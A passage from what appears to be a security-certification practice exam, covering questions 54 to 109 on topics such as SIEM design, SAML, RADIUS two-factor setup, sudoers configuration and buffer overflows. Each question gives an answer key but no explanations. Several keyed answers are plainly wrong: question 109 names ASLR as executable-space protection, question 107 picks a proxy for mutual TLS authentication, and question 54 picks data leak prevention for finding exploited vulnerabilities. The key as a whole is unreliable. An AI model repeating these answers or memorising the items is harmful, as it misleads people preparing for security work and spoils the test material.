A breach was caused by an insider threat in which customer PII was compromised. Following the breach, a lead security analyst is asked to determine which vulnerabilities the attacker used to access company resources.

Which of the following should the analyst use to remediate the vulnerabilities?

A. Protocol analyzer
B. Root cause analysis
C. Behavioral analytics
D. Data leak prevention

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 55
A security analyst has requested network engineers integrate sFlow into the SOC's overall monitoring picture. For this to be a useful addition to the monitoring capabilities, which of the following must be considered by the engineering team?

A. Effective deployment of network taps
B. Overall bandwidth available at Internet PoP
C. Optimal placement of log aggregators
D. Availability of application layer visualizers

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 56
A new cluster of virtual servers has been set up in a lab environment and must be audited before being allowed on the production network. The security manager needs to ensure unnecessary services are disabled and all system accounts are using strong credentials.

Which of the following tools should be used? (Choose two.)

A. Fuzzer
B. SCAP scanner
C. Packet analyzer
D. Password cracker

E. Network enumerator
F. SIEM

Correct Answer: BF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 57
A security engineer is embedded with a development team to ensure security is built into products being developed. The security engineer wants to ensure developers are not blocked by a large number of security requirements applied at specific schedule points.

Which of the following solutions BEST meets the engineer's goal?

A. Schedule weekly reviews of al unit test results with the entire development team and follow up between meetings with surprise code inspections.
B. Develop and implement a set of automated security tests to be installed on each development team leader's workstation.
C. Enforce code quality and reuse standards into the requirements definition phase of the waterfall development process.
D. Deploy an integrated software tool that builds and tests each portion of code committed by developers and provides feedback.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 58
A security engineer is working with a software development team. The engineer is tasked with ensuring all security requirements are adhered to by the developers.

Which of the following BEST describes the contents of the supporting document the engineer is creating?

A. A series of ad-hoc tests that each verify security control functionality of the entire system at once.
B. A series of discrete tasks that, when viewed in total, can be used to verify and document each individual constraint from the SRTM.
C. A set of formal methods that apply to one or more of the programing languages used on the development project.
D. A methodology to verify each security control in each unit of developed code prior to committing the code.

Correct Answer: D

Section: (none)
Explanation

Explanation/Reference:

QUESTION 59
A security technician is incorporating the following requirements in an RFP for a new SIEM:

- New security notifications must be dynamically implemented by the SIEM engine
- The SIEM must be able to identify traffic baseline anomalies
- Anonymous attack data from all customers must augment attack detection and risk scoring

Based on the above requirements, which of the following should the SIEM support? (Choose two.)

A. Autoscaling search capability
B. Machine learning
C. Multisensor deployment
D. Big Data analytics
E. Cloud-based management
F. Centralized log aggregation

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 60
Given the following information about a company's internal network:

User IP space: 192.168.1.0/24
Server IP space: 192.168.192.0/25

A security engineer has been told that there are rogue websites hosted outside of the proper server space, and those websites need to be identified.

Which of the following should the engineer do?

A. Use a protocol analyzer on 192.168.1.0/24

B. Use a port scanner on 192.168.1.0/24
C. Use an HTTP interceptor on 192.168.1.0/24
D. Use a port scanner on 192.168.192.0/25
E. Use a protocol analyzer on 192.168.192.0/25
F. Use an HTTP interceptor on 192.168.192.0/25

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 61
During a security assessment, activities were divided into two phases: internal and external exploitation. The security assessment team set a hard time limit on external activities before moving to a compromised box within the enterprise perimeter.

Which of the following methods is the assessment team most likely to employ NEXT?

A. Pivoting from the compromised, moving laterally through the enterprise, and trying to exfiltrate data and compromise devices.
B. Conducting a social engineering attack attempt with the goal of accessing the compromised box physically.
C. Exfiltrating network scans from the compromised box as a precursor to social media reconnaissance
D. Open-source intelligence gathering to identify the network perimeter and scope to enable further system compromises.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 62
While attending a meeting with the human resources department, an organization's information security officer sees an employee using a username and password written on a memo pad to log into a specific service. When the information security officer inquires further as to why passwords are being written down, the response is that there are too many passwords to remember for all the different services the human resources department is required to use.

Additionally, each password has specific complexity requirements and different expiration time frames.
Which of the following would be the BEST solution for the information security officer to recommend?

A. Utilizing MFA
B. Implementing SSO
C. Deploying 802.1X
D. Pushing SAML adoption
E. Implementing TACACS

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 63
Which of the following is the GREATEST security concern with respect to BYOD?

A. The filtering of sensitive data out of data flows at geographic boundaries.
B. Removing potential bottlenecks in data transmission paths.
C. The transfer of corporate data onto mobile corporate devices.
D. The migration of data into and out of the network in an uncontrolled manner.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 64
Given the following code snippet:

```
SecCond = "188"
SecStatus = false
try (
if (SecStatus)
           SecCond = "288"
           console.log("ship to ship")
else
        SecCond = "normal operations"
        console.log("nothing to see here")
} catch (e) {
SecCond = "normal operations"
 console.log(e)
 console.log("Exception logged")
}
```

Which of the following failure modes would the code exhibit?

A. Open
B. Secure
C. Halt
D. Exception

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 65
A medical facility wants to purchase mobile devices for doctors and nurses. To ensure accountability, each individual will be assigned a separate mobile device. Additionally, to protect patients' health information, management has identified the following requirements:

- Data must be encrypted at rest.
- The device must be disabled if it leaves the facility.
- The device must be disabled when tampered with.

Which of the following technologies would BEST support these requirements? (Choose two.)

A. eFuse
B. NFC
C. GPS
D. Biometric
E. USB 4.1
F. MicroSD

Correct Answer: CD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 66
A security administrator wants to implement two-factor authentication for network switches and routers. The solution should integrate with the company's RADIUS server, which is used for authentication to the network infrastructure devices. The security administrator implements the following:

- An HOTP service is installed on the RADIUS server.
- The RADIUS server is configured to require the HOTP service for authentication.

The configuration is successfully tested using a software supplicant and enforced across all network devices. Network administrators report they are unable to log onto the network devices because they are not being prompted for the second factor.

Which of the following should be implemented to BEST resolve the issue?

A. Replace the password requirement with the second factor. Network administrators will enter their username and then enter the token in place of their password in the password field.
B. Configure the RADIUS server to accept the second factor appended to the password. Network administrators will enter a password followed by their token in the password field.
C. Reconfigure network devices to prompt for username, password, and a token. Network administrators will enter their username and password, and then they will enter the token.
D. Install a TOTP service on the RADIUS server in addition to the HOTP service. Use the HOTP on older devices that do not support two-factor authentication. Network administrators will use a web portal to log onto these devices.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 67
Following a merger, the number of remote sites for a company has doubled to 52. The company has decided to secure each remote site with an NGFW to provide web filtering, NIDS/NIPS, and network antivirus. The Chief Information Officer (CIO) has requested that the security engineer provide recommendations on sizing for the firewall with the requirements that it be easy to manage and provide capacity for growth.

The tables below provide information on a subset of remote sites and the firewall options:

Location	# of Users	Connectivity	Bandwidth Utilization
St.Louis	18	50 Mbps	20 Mbps
Des Moines	12	25 Mbps	19 Mbps
Chicago	27	100 Mbps	41 Mbps
Rapid City	6	10 Mbps	8 Mbps
Indianapolis	7	12 Mbps	8 Mbps

Vendor	Maximum Recommended Devices	Firewall Throughput	Full UTM?	Centralized Management Available?
A	40	150 Mbps	Y	Y
B	60	400 Mbps	N	Y
C	25	200 Mbps	N	N
D	25	100 Mbps	Y	Y

Which of the following would be the BEST option to recommend to the CIO?

A. Vendor C for small remote sites, and Vendor B for large sites.
B. Vendor B for all remote sites
C. Vendor C for all remote sites
D. Vendor A for all remote sites
E. Vendor D for all remote sites

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 68
Due to a recent breach, the Chief Executive Officer (CEO) has requested the following activities be conducted during incident response planning:

- Involve business owners and stakeholders
- Create an applicable scenario
- Conduct a biannual verbal review of the incident response plan
- Report on the lessons learned and gaps identified

Which of the following exercises has the CEO requested?

A. Parallel operations
B. Full transition
C. Internal review
D. Tabletop
E. Partial simulation

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 69
A government organization operates and maintains several ICS environments. The categorization of one of the ICS environments led to a moderate baseline. The organization has complied a set of applicable security controls based on this categorization.

Given that this is a unique environment, which of the following should the organization do NEXT to determine if other security controls should be considered?

A. Check for any relevant or required overlays.
B. Review enhancements within the current control set.
C. Modify to a high-baseline set of controls.

D. Perform continuous monitoring.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 70
A security researcher is gathering information about a recent spoke in the number of targeted attacks against multinational banks. The spike is on top of already sustained attacks against the banks. Some of the previous attacks have resulted in the loss of sensitive data, but as of yet the attackers have not successfully stolen any funds.

Based on the information available to the researcher, which of the following is the MOST likely threat profile?

A. Nation-state-sponsored attackers conducting espionage for strategic gain.
B. Insiders seeking to gain access to funds for illicit purposes.
C. Opportunists seeking notoriety and fame for personal gain.
D. Hacktivists seeking to make a political statement because of socio-economic factors.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 71
An organization is considering the use of a thin client architecture as it moves to a cloud-hosted environment. A security analyst is asked to provide thoughts on the security advantages of using thin clients and virtual workstations.

Which of the following are security advantages of the use of this combination of thin clients and virtual workstations?

A. Malicious insiders will not have the opportunity to tamper with data at rest and affect the integrity of the system.
B. Thin client workstations require much less security because they lack storage and peripherals that can be easily compromised, and the virtual workstations are protected in the cloud where security is outsourced.
C. All thin clients use TPM for core protection, and virtual workstations use vTPM for core protection with both equally ensuring a greater security advantage for a cloud-hosted environment.

D. Malicious users will have reduced opportunities for data extractions from their physical thin client workstations, this reducing the effectiveness of local attacks.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 72
A security architect is determining the best solution for a new project. The project is developing a new intranet with advanced authentication capabilities, SSO for users, and automated provisioning to streamline Day 1 access to systems. The security architect has identified the following requirements:

1. Information should be sourced from the trusted master data source.
2. There must be future requirements for identity proofing of devices and users.
3. A generic identity connector that can be reused must be developed.
4. The current project scope is for internally hosted applications only.

Which of the following solution building blocks should the security architect use to BEST meet the requirements?

A. LDAP, multifactor authentication, OAuth, XACML
B. AD, certificate-based authentication, Kerberos, SPML
C. SAML, context-aware authentication, OAuth, WAYF
D. NAC, radius, 802.1x, centralized active directory

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 73
Engineers at a company believe a certain type of data should be protected from competitors, but the data owner insists the information is not sensitive. An information security engineer is implementing controls to secure the corporate SAN. The controls require dividing data into four groups: non-sensitive, sensitive but accessible, sensitive but export-controlled, and extremely sensitive.

Which of the following actions should the engineer take regarding the data?

A. Label the data as extremely sensitive.

B. Label the data as sensitive but accessible.
C. Label the data as non-sensitive.
D. Label the data as sensitive but export-controlled.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 74
A security engineer is performing an assessment again for a company. The security engineer examines the following output from the review:

```
Password complexity                                          Disabled
Require authentication from a domain controller before sign-in   Enabled
Allow guest user access                                      Enabled
Allow anonymous enumeration of groups                        Disabled
```

Which of the following tools is the engineer utilizing to perform this assessment?

A. Vulnerability scanner
B. SCAP scanner
C. Port scanner
D. Interception proxy

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 75
The marketing department has developed a new marketing campaign involving significant social media outreach. The campaign includes allowing employees and customers to submit blog posts and pictures of their day-to-day experiences at the company. The information security manager has been asked to provide an informative letter to all participants regarding the security risks and how to avoid privacy and operational security issues.

Which of the following is the MOST important information to reference in the letter?

A. After-action reports from prior incidents.
B. Social engineering techniques
C. Company policies and employee NDAs
D. Data classification processes

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 76
A newly hired security analyst has joined an established SOC team. Not long after going through corporate orientation, a new attack method on web-based applications was publicly revealed. The security analyst immediately brings this new information to the team lead, but the team lead is not concerned about it.

Which of the following is the MOST likely reason for the team lead's position?

A. The organization has accepted the risks associated with web-based threats.
B. The attack type does not meet the organization's threat model.
C. Web-based applications are on isolated network segments.
D. Corporate policy states that NIPS signatures must be updated every hour.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 77
The Chief Information Officer (CISO) is concerned that certain systems administrators will privileged access may be reading other users' emails. Review of a tool's output shows the administrators have used web mail to log into other users' inboxes.

Which of the following tools would show this type of output?

A. Log analysis tool
B. Password cracker

C. Command-line tool
D. File integrity monitoring tool

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 78
A security analyst is troubleshooting a scenario in which an operator should only be allowed to reboot remote hosts but not perform other activities. The analyst inspects the following portions of different configuration files:

Configuration file 1:
```
Operator ALL=/sbin/reboot
```
Configuration file 2:
```
Command="/sbin/shutdown now", no-x11-forwarding, no-pty, ssh-dss
```
Configuration file 3:
Operator:x:1000:1000::/home/operator:/bin/bash

Which of the following explains why an intended operator cannot perform the intended action?

A. The sudoers file is locked down to an incorrect command
B. SSH command shell restrictions are misconfigured
C. The passwd file is misconfigured
D. The SSH command is not allowing a pty session

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 79
An organization is engaged in international business operations and is required to comply with various legal frameworks. In addition to changes in legal frameworks, which of the following is a primary purpose of a compliance management program?

A. Following new requirements that result from contractual obligations

B. Answering requests from auditors that relate to e-discovery
C. Responding to changes in regulatory requirements
D. Developing organizational policies that relate to hiring and termination procedures

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 80
Company.org has requested a black-box security assessment be performed on key cyber terrain. One area of concern is the company's SMTP services. The security assessor wants to run reconnaissance before taking any additional action and wishes to determine which SMTP server is Internet-facing.

Which of the following commands should the assessor use to determine this information?

A. `dnsrecon –d company.org –t SOA`
B. `dig company.org mx`
C. `nc –v company.org`
D. `whois company.org`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 81
A medical device company is implementing a new COTS antivirus solution in its manufacturing plant. All validated machines and instruments must be retested for interoperability with the new software.

Which of the following would BEST ensure the software and instruments are working as designed?

A. System design documentation
B. User acceptance testing
C. Peer review
D. Static code analysis testing

E. Change control documentation

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 82
A company has gone through a round of phishing attacks. More than 200 users have had their workstation infected because they clicked on a link in an email. An incident analysis has determined an executable ran and compromised the administrator account on each workstation. Management is demanding the information security team prevent this from happening again.

Which of the following would BEST prevent this from happening again?

A. Antivirus
B. Patch management
C. Log monitoring
D. Application whitelisting
E. Awareness training

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 83
Providers at a healthcare system with many geographically dispersed clinics have been fined five times this year after an auditor received notice of the following SMS messages:

	Date	Subject	Message
1	5/12/2017	Change of room	Patient John Doe is now in room 201
2	5/12/2017	Prescription change	Ann Smith – add 5mg
3	5/13/2017	Appointment cancelled	John Doe cancelled
4	5/14/2017	Follow-up visit	Ann Smith scheduled a follow-up
5	5/20/2017	Emergency room	Ann Doe – patient #37125 critical
6	5/25/2017	Prescription overdose	John Smith – patient #25637 in room 37

Which of the following represents the BEST solution for preventing future fines?

A. Implement a secure text-messaging application for mobile devices and workstations.
B. Write a policy requiring this information to be given over the phone only.
C. Provide a courier service to deliver sealed documents containing public health informatics.
D. Implement FTP services between clinics to transmit text documents with the information.
E. Implement a system that will tokenize patient numbers.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 84
An information security manager is concerned that connectivity used to configure and troubleshoot critical network devices could be attacked. The manager has tasked a network security engineer with meeting the following requirements:

- Encrypt all traffic between the network engineer and critical devices.
- Segregate the different networking planes as much as possible.
- Do not let access ports impact configuration tasks.

Which of the following would be the BEST recommendation for the network security engineer to present?

A. Deploy control plane protections.
B. Use SSH over out-of-band management.
C. Force only TACACS to be allowed.
D. Require the use of certificates for AAA.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 85
A penetration tester noticed special characters in a database table. The penetration tester configured the browser to use an HTTP interceptor to verify that the front-end user registration web form accepts invalid input in the user's age field. The developer was notified and asked to fix the issue.

Which of the following is the MOST secure solution for the developer to implement?

A. `IF $AGE == "!@#$%^&*()_+<>?":{}[]" THEN ERROR`
B. `IF $AGE == [1234567890] {1,3} THEN CONTINUE`
C. `IF $AGE != "a-bA-Z!@#$%^&*()_+<>?":{}[]" THEN CONTINUE`
D. `IF $AGE == [1-0] {0,2} THEN CONTINUE`

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 86
A user asks a security practitioner for recommendations on securing a home network. The user recently purchased a connected home assistant and multiple IoT devices in an effort to automate the home. Some of the IoT devices are wearables, and other are installed in the user's automobiles. The current home network is

configured as a single flat network behind an ISP-supplied router. The router has a single IP address, and the router performs NAT on incoming traffic to route it to individual devices.

Which of the following security controls would address the user's privacy concerns and provide the BEST level of security for the home network?

A. Ensure all IoT devices are configured in a geofencing mode so the devices do not work when removed from the home network. Disable the home assistant unless actively using it, and segment the network so each IoT device has its own segment.
B. Install a firewall capable of cryptographically separating network traffic, require strong authentication to access all IoT devices, and restrict network access for the home assistant based on time-of-day restrictions.
C. Segment the home network to separate network traffic from users and the IoT devices, ensure security settings on the home assistant support no or limited recording capability, and install firewall rules on the router to restrict traffic to the home assistant as much as possible.
D. Change all default passwords on the IoT devices, disable Internet access for the IoT devices and the home assistant, obtain routable IP addresses for all devices, and implement IPv6 and IPSec protections on all network traffic.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 87
An enterprise with global sites processes and exchanges highly sensitive information that is protected under several countries' arms trafficking laws. There is new information that malicious nation-state-sponsored activities are targeting the use of encryption between the geographically disparate sites. The organization currently employs ECDSA and ECDH with P-384, SHA-384, and AES-256-GCM on VPNs between sites.

Which of the following techniques would MOST likely improve the resilience of the enterprise to attack on cryptographic implementation?

A. Add a second-layer VPN from a different vendor between sites.
B. Upgrade the cipher suite to use an authenticated AES mode of operation.
C. Use a stronger elliptic curve cryptography algorithm.
D. Implement an IDS with sensors inside (clear-text) and outside (cipher-text) of each tunnel between sites.
E. Ensure cryptography modules are kept up to date from vendor supplying them.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 88
A forensic analyst suspects that a buffer overflow exists in a kernel module. The analyst executes the following command:

```
dd if=/dev/ram of=/tmp/mem/dmp
```

The analyst then reviews the associated output:

```
^34^#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/bash^21^03#45
```

However, the analyst is unable to find any evidence of the running shell.

Which of the following of the MOST likely reason the analyst cannot find a process ID for the shell?

A. The NX bit is enabled
B. The system uses ASLR
C. The shell is obfuscated
D. The code uses dynamic libraries

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 89
A security engineer is attempting to convey the importance of including job rotation in a company's standard security policies. Which of the following would be the BEST justification?

A. Making employees rotate through jobs ensures succession plans can be implemented and prevents single points of failure.
B. Forcing different people to perform the same job minimizes the amount of time malicious actions go undetected by forcing malicious actors to attempt collusion between two or more people.
C. Administrators and engineers who perform multiple job functions throughout the day benefit from being cross-trained in new job areas.
D. It eliminates the need to share administrative account passwords because employees gain administrative rights as they rotate into a new job area.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 90
A company is transitioning to a new VDI environment, and a system engineer is responsible for developing a sustainable security strategy for the VDIs.

Which of the following is the MOST appropriate order of steps to be taken?

A. Firmware update, OS patching, HIDS, antivirus, baseline, monitoring agent
B. OS patching, baseline, HIDS, antivirus, monitoring agent, firmware update
C. Firmware update, OS patching, HIDS, antivirus, monitoring agent, baseline
D. Baseline, antivirus, OS patching, monitoring agent, HIDS, firmware update

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 91
The Chief Information Officer (CIO) has been asked to develop a security dashboard with the relevant metrics. The board of directors will use the dashboard to monitor and track the overall security posture of the organization. The CIO produces a basic report containing both KPI and KRI data in two separate sections for the board to review.

Which of the following BEST meets the needs of the board?

A. KRI:
   - Compliance with regulations
   - Backlog of unresolved security investigations
   - Severity of threats and vulnerabilities reported by sensors
   - Time to patch critical issues on a monthly basis
   KPI:
   - Time to resolve open security items
   - % of suppliers with approved security control frameworks
   - EDR coverage across the fleet
   - Threat landscape rating
B. KRI:
   - EDR coverage across the fleet

- Backlog of unresolved security investigations
- Time to patch critical issues on a monthly basis
- Threat landscape rating

KPI:
- Time to resolve open security items
- Compliance with regulations
- % of suppliers with approved security control frameworks
- Severity of threats and vulnerabilities reported by sensors

C. KRI:
- EDR coverage across the fleet
- % of suppliers with approved security control framework
- Backlog of unresolved security investigations
- Threat landscape rating

KPI:
- Time to resolve open security items
- Compliance with regulations
- Time to patch critical issues on a monthly basis
- Severity of threats and vulnerabilities reported by sensors

D. KPI:
- Compliance with regulations
- % of suppliers with approved security control frameworks
- Severity of threats and vulnerabilities reported by sensors
- Threat landscape rating

KRI:
- Time to resolve open security items
- Backlog of unresolved security investigations
- EDR coverage across the fleet
- Time to patch critical issues on a monthly basis

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 92
The Chief Executive Officer (CEO) of a small startup company has an urgent need for a security policy and assessment to address governance, risk management, and compliance. The company has a resource-constrained IT department, but has no information security staff. The CEO has asked for this to be completed in three months.

Which of the following would be the MOST cost-effective solution to meet the company's needs?

A. Select one of the IT personnel to obtain information security training, and then develop all necessary policies and documents in-house.
B. Accept all risks associated with information security, and then bring up the issue again at next year's annual board meeting.
C. Release an RFP to consultancy firms, and then select the most appropriate consultant who can fulfill the requirements.
D. Hire an experienced, full-time information security team to run the startup company's information security department.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 93
A security consultant is improving the physical security of a sensitive site and takes pictures of the unbranded building to include in the report. Two weeks later, the security consultant misplaces the phone, which only has one hour of charge left on it. The person who finds the phone removes the MicroSD card in an attempt to discover the owner to return it.

The person extracts the following data from the phone and EXIF data from some files:

DCIM Images folder
Audio books folder
Torrentz
My TAX.xls
Consultancy HR Manual.doc
Camera: SM-G950F
Exposure time: 1/60s
Location: 3500 Lacey Road USA

Which of the following BEST describes the security problem?

A. MicroSD in not encrypted and also contains personal data.
B. MicroSD contains a mixture of personal and work data.
C. MicroSD in not encrypted and contains geotagging information.
D. MicroSD contains pirated software and is not encrypted.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 94
An engineer needs to provide access to company resources for several offshore contractors. The contractors require:

- Access to a number of applications, including internal websites
- Access to database data and the ability to manipulate it
- The ability to log into Linux and Windows servers remotely

Which of the following remote access technologies are the BEST choices to provide all of this access securely? (Choose two.)

A. VTC
B. VRRP
C. VLAN
D. VDI
E. VPN
F. Telnet

Correct Answer: DE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 95
An administrator has noticed mobile devices from an adjacent company on the corporate wireless network. Malicious activity is being reported from those devices. To add another layer of security in an enterprise environment, an administrator wants to add contextual authentication to allow users to access enterprise resources only while present in corporate buildings. Which of the following technologies would accomplish this?

A. Port security
B. Rogue device detection
C. Bluetooth
D. GPS

Correct Answer: D
Section: (none)

Explanation

Explanation/Reference:

QUESTION 96
A network engineer is upgrading the network perimeter and installing a new firewall, IDS, and external edge router. The IDS is reporting elevated UDP traffic, and the internal routers are reporting high utilization. Which of the following is the BEST solution?

A. Reconfigure the firewall to block external UDP traffic.
B. Establish a security baseline on the IDS.
C. Block echo reply traffic at the firewall.
D. Modify the edge router to not forward broadcast traffic.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 97
A consulting firm was hired to conduct assessment for a company. During the first stage, a penetration tester used a tool that provided the following output:

TCP 80 open
TCP 443 open
TCP 1434 filtered

The penetration tester then used a different tool to make the following requests:

GET / script/login.php?token=45$MHT000MND876
GET / script/login.php?token=@#984DCSPQ%091DF

Which of the following tools did the penetration tester use?

A. Protocol analyzer
B. Port scanner
C. Fuzzer
D. Brute forcer
E. Log analyzer

F. HTTP interceptor

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 98
A security analyst has been asked to create a list of external IT security concerns, which are applicable to the organization. The intent is to show the different types of external actors, their attack vectors, and the types of vulnerabilities that would cause business impact. The Chief Information Security Officer (CISO) will then present this list to the board to request funding for controls in areas that have insufficient coverage.

Which of the following exercise types should the analyst perform?

A. Summarize the most recently disclosed vulnerabilities.
B. Research industry best practices and the latest RFCs.
C. Undertake an external vulnerability scan and penetration test.
D. Conduct a threat modeling exercise.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 99
An organization has recently deployed an EDR solution across its laptops, desktops, and server infrastructure. The organization's server infrastructure is deployed in an IaaS environment. A database within the non-production environment has been misconfigured with a routable IP and is communicating with a command and control server.

Which of the following procedures should the security responder apply to the situation? (Choose two.)

A. Contain the server.
B. Initiate a legal hold.
C. Perform a risk assessment.
D. Determine the data handling standard.

E. Disclose the breach to customers.
F. Perform an IOC sweep to determine the impact.

Correct Answer: AF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 100
A large company with a very complex IT environment is considering a move from an on-premises, internally managed proxy to a cloud-based proxy solution managed by an external vendor. The current proxy provides caching, content filtering, malware analysis, and URL categorization for all staff connected behind the proxy. Staff members connect directly to the Internet outside of the corporate network. The cloud-based version of the solution would provide content filtering, TLS decryption, malware analysis, and URL categorization. After migrating to the cloud solution, all internal proxies would be decommissioned. Which of the following would MOST likely change the company's risk profile?

A. 1. There would be a loss of internal intellectual knowledge regarding proxy configurations and application data flows.
   2. There would be a greater likelihood of Internet access outages due to lower resilience of cloud gateways.
   3. There would be data sovereignty concerns due to changes required in routing and proxy PAC files.
B. 1. The external vendor would have access to inbound and outbound gateway traffic.
   2. The service would provide some level of protection for staff working from home.
   3. Outages would be likely to occur for systems or applications with hard-coded proxy information.
C. 1. The loss of local caching would dramatically increase ISP charges and impact existing bandwidth.
   2. There would be a greater likelihood of Internet access outages due to lower resilience of cloud gateways.
   3. There would be a loss of internal intellectual knowledge regarding proxy configurations and application data flows.
D. 1. Outages would be likely to occur for systems or applications with hard-coded proxy information.
   2. The service would provide some level of protection for staff members working from home.
   3. Malware detection times would decrease due to third-party management of the service.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 101
A security engineer is deploying an IdP to broker authentication between applications. These applications all utilize SAML 2.0 for authentication. Users log into the IdP with their credentials and are given a list of applications they may access. One of the application's authentications is not functional when a user initiates an

authentication attempt from the IdP. The engineer modifies the configuration so users browse to the application first, which corrects the issue. Which of the following BEST describes the root cause?

A. The application only supports SP-initiated authentication.
B. The IdP only supports SAML 1.0
C. There is an SSL certificate mismatch between the IdP and the SaaS application.
D. The user is not provisioned correctly on the IdP.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 102
A security analyst is reviewing the following company requirements prior to selecting the appropriate technical control configuration and parameter:

RTO: 2 days
RPO: 36 hours
MTTR: 24 hours
MTBF: 60 days

Which of the following solutions will address the RPO requirements?

A. Remote Syslog facility collecting real-time events
B. Server farm behind a load balancer delivering five-nines uptime
C. Backup solution that implements daily snapshots
D. Cloud environment distributed across geographic regions

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 103
A penetration test is being scoped for a set of web services with API endpoints. The APIs will be hosted on existing web application servers. Some of the new APIs will be available to unauthenticated users, but some will only be available to authenticated users. Which of the following tools or activities would the penetration

tester MOST likely use or do during the engagement? (Choose two.)

A. Static code analyzer
B. Intercepting proxy
C. Port scanner
D. Reverse engineering
E. Reconnaissance gathering
F. User acceptance testing

Correct Answer: BE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 104
A recent overview of the network's security and storage applications reveals a large amount of data that needs to be isolated for security reasons. Below are the critical applications and devices configured on the network:

- Firewall
- Core switches
- RM server
- Virtual environment
- NAC solution

The security manager also wants data from all critical applications to be aggregated to correlate events from multiple sources. Which of the following must be configured in certain applications to help ensure data aggregation and data isolation are implemented on the critical applications and devices? (Choose two.)

A. Routing tables
B. Log forwarding
C. Data remanants
D. Port aggregation
E. NIC teaming
F. Zones

Correct Answer: BF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 105
As part of the development process for a new system, the organization plans to perform requirements analysis and risk assessment. The new system will replace a legacy system, which the organization has used to perform data analytics.

Which of the following is MOST likely to be part of the activities conducted by management during this phase of the project?

A. Static code analysis and peer review of all application code
B. Validation of expectations relating to system performance and security
C. Load testing the system to ensure response times is acceptable to stakeholders
D. Design reviews and user acceptance testing to ensure the system has been deployed properly
E. Regression testing to evaluate interoperability with the legacy system during the deployment

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 106
An organization just merged with an organization in another legal jurisdiction and must improve its network security posture in ways that do not require additional resources to implement data isolation. One recommendation is to block communication between endpoint PCs. Which of the following would be the BEST solution?

A. Installing HIDS
B. Configuring a host-based firewall
C. Configuring EDR
D. Implementing network segmentation

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 107
A company's chief cybersecurity architect wants to configure mutual authentication to access an internal payroll website. The architect has asked the administration team to determine the configuration that would provide the best defense against MITM attacks. Which of the following implementation approaches would BEST support the architect's goals?

A. Utilize a challenge-response prompt as required input at username/password entry.
B. Implement TLS and require the client to use its own certificate during handshake.
C. Configure a web application proxy and institute monitoring of HTTPS transactions.
D. Install a reverse proxy in the corporate DMZ configured to decrypt TLS sessions.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 108
The Chief Executive Officers (CEOs) from two different companies are discussing the highly sensitive prospect of merging their respective companies together. Both have invited their Chief Information Officers (CIOs) to discern how they can securely and digitally communicate, and the following criteria are collectively determined:

- Must be encrypted on the email servers and clients
- Must be OK to transmit over unsecure Internet connections

Which of the following communication methods would be BEST to recommend?

A. Force TLS between domains.
B. Enable STARTTLS on both domains.
C. Use PGP-encrypted emails.
D. Switch both domains to utilize DNSSEC.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 109

A company wants to confirm sufficient executable space protection is in place for scenarios in which malware may be attempting buffer overflow attacks. Which of the following should the security engineer check?

A. NX/XN
B. ASLR
C. strcpy
D. ECC

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 110
